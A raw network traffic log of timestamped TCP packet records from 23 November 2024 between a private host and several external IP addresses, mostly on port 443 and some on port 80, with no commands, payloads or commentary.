Nov 23, 2024 09:16:36.916810989 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.916825056 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.916837931 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.920514107 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.920548916 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.920799971 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.920977116 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.921004057 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.922624111 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.922765017 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.922892094 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.922919989 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.922931910 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.922974110 CET	49751	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.922977924 CET	443	49751	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.924552917 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.924619913 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.924674988 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.924982071 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.924989939 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.925002098 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.925007105 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.925582886 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.925596952 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.925966978 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.926239014 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.926250935 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.927700043 CET	49768	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.927711964 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.928569078 CET	49768	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.928951025 CET	49768	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.928962946 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.961970091 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.962637901 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.962651014 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:36.963275909 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:36.963284016 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:37.414139986 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:37.414207935 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:37.414294958 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:37.414571047 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:37.414596081 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:37.414612055 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:37.414622068 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:37.418510914 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:37.418536901 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:37.418642998 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:37.418878078 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:37.418895006 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:37.598045111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:37.598762035 CET	49772	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:37.628221989 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:37.628331900 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:37.634603024 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:37.634614944 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:37.635024071 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:37.688916922 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:37.717530966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:37.718247890 CET	80	49772	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:37.718337059 CET	49772	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:37.719572067 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:37.720057011 CET	49772	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:37.763338089 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:37.839525938 CET	80	49772	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:37.882050991 CET	443	49762	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:37.882339001 CET	49762	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:37.882366896 CET	443	49762	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:37.883497000 CET	443	49762	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:37.883888960 CET	49762	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:37.884063005 CET	443	49762	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:37.925868034 CET	49762	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:37.947279930 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:37.947369099 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:37.950001001 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:37.950010061 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:37.950562954 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:38.003570080 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:38.004514933 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:38.047353029 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:38.362260103 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.362323999 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.362344027 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.362361908 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.362390041 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.362401962 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.362422943 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.362426996 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.362452984 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.362456083 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.362485886 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.362509966 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.388835907 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.388920069 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.388936043 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.389075994 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.389134884 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.390149117 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.390166998 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.390189886 CET	49760	443	192.168.2.6	4.175.87.197
Nov 23, 2024 09:16:38.390197039 CET	443	49760	4.175.87.197	192.168.2.6
Nov 23, 2024 09:16:38.453389883 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:38.453450918 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:38.453536034 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:38.453774929 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:38.453788996 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:38.453804970 CET	49764	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:38.453816891 CET	443	49764	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:38.631045103 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.632385969 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:38.632400036 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.633157015 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:38.633163929 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.706640005 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.707760096 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:38.707773924 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.708393097 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:38.708403111 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.709285975 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.710138083 CET	49768	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:38.710156918 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.710911036 CET	49768	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:38.710916996 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.734597921 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:38.734654903 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:38.734782934 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:38.735333920 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:38.735353947 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:38.765100956 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.765599012 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:38.765608072 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.766251087 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:38.766256094 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:38.829386950 CET	49776	443	192.168.2.6	142.250.181.110
Nov 23, 2024 09:16:38.829396963 CET	443	49776	142.250.181.110	192.168.2.6
Nov 23, 2024 09:16:38.829469919 CET	49776	443	192.168.2.6	142.250.181.110
Nov 23, 2024 09:16:38.829895020 CET	49776	443	192.168.2.6	142.250.181.110
Nov 23, 2024 09:16:38.829904079 CET	443	49776	142.250.181.110	192.168.2.6
Nov 23, 2024 09:16:39.152381897 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.152447939 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.152551889 CET	49768	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.152833939 CET	49768	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.152842045 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.152853966 CET	49768	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.152858019 CET	443	49768	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.154634953 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.154707909 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.154907942 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.155009985 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.155025005 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.155050993 CET	49767	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.155056953 CET	443	49767	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.156599045 CET	49777	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.156624079 CET	443	49777	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.156718016 CET	49777	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.156914949 CET	49777	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.156928062 CET	443	49777	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.158370018 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.158396959 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.158477068 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.158587933 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.158603907 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.159493923 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.159553051 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.159626007 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.159893036 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.159893036 CET	49765	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.159903049 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.159909964 CET	443	49765	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.162303925 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.162312031 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.162374020 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.162558079 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.162570000 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.199903011 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.200401068 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.200412035 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.201056004 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.201061010 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.219598055 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.219681025 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.219747066 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.219839096 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.219839096 CET	49766	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.219855070 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.219865084 CET	443	49766	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.225483894 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.225538969 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.225904942 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.226098061 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.226116896 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.606519938 CET	80	49772	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:39.606591940 CET	49772	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:39.643450022 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.643537998 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.643593073 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.652728081 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.652750015 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.652761936 CET	49769	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.652770042 CET	443	49769	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.711198092 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.711246967 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.711427927 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.713850975 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:39.713861942 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:39.788870096 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:39.788919926 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:39.789000034 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:39.789693117 CET	49772	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:39.790117025 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:39.790141106 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:39.909193993 CET	80	49772	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:40.004600048 CET	49776	443	192.168.2.6	142.250.181.110
Nov 23, 2024 09:16:40.010279894 CET	49762	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:40.205912113 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:40.205991983 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:40.207623005 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:40.207634926 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:40.207890034 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:40.209069967 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:40.255343914 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:40.735491037 CET	80	49772	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:40.735578060 CET	49772	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:40.745326996 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:40.745398998 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:40.745614052 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:40.777149916 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:40.777184010 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:40.777196884 CET	49774	443	192.168.2.6	23.218.208.109
Nov 23, 2024 09:16:40.777204037 CET	443	49774	23.218.208.109	192.168.2.6
Nov 23, 2024 09:16:40.878465891 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:40.912070036 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:40.912101030 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:40.912993908 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:40.913005114 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:40.937532902 CET	443	49777	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:40.943357944 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:40.945775032 CET	49777	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:40.945795059 CET	443	49777	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:40.949914932 CET	49777	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:40.949932098 CET	443	49777	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:40.958122015 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:40.958137035 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:40.962323904 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:40.962331057 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.032948971 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.079531908 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.191517115 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.191535950 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.192038059 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.192044973 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.312645912 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.312722921 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.312796116 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.313000917 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.313019037 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.313031912 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.313039064 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.316548109 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.316579103 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.316637039 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.316900015 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.316911936 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.377722979 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.377782106 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.377851963 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.381104946 CET	443	49777	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.381177902 CET	443	49777	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.381248951 CET	49777	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.410535097 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.410554886 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.410569906 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.410576105 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.410765886 CET	49777	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.410795927 CET	443	49777	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.428131104 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.428170919 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.428379059 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.429172039 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.429217100 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.429274082 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.429358959 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.429372072 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.431015015 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.431030989 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.493663073 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.495070934 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.495093107 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.495647907 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.495652914 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.529670954 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.529793978 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.529932022 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.529995918 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.529997110 CET	49778	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.530023098 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.530036926 CET	443	49778	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.533734083 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.533771992 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.533855915 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.534157991 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.534169912 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.937995911 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.938071012 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:41.938144922 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.953362942 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:41.953381062 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:42.039362907 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:42.039407015 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:42.039520979 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:42.043874979 CET	49788	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:42.043890953 CET	443	49788	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:42.054717064 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:42.054789066 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:42.084579945 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:42.084594011 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:42.084934950 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:42.106244087 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:42.106363058 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:42.106368065 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:42.106453896 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:42.147334099 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:42.656428099 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:42.656600952 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:42.656683922 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:42.656948090 CET	49782	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:42.656964064 CET	443	49782	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:43.032886982 CET	443	49784	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.081073999 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.212796926 CET	443	49785	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.222754955 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.263684988 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.263685942 CET	49785	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.316061974 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.359925032 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.540887117 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.540908098 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.543139935 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.543145895 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:43.543693066 CET	49784	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:43.543705940 CET	443	49784	13.107.246.63	192.168.2.6
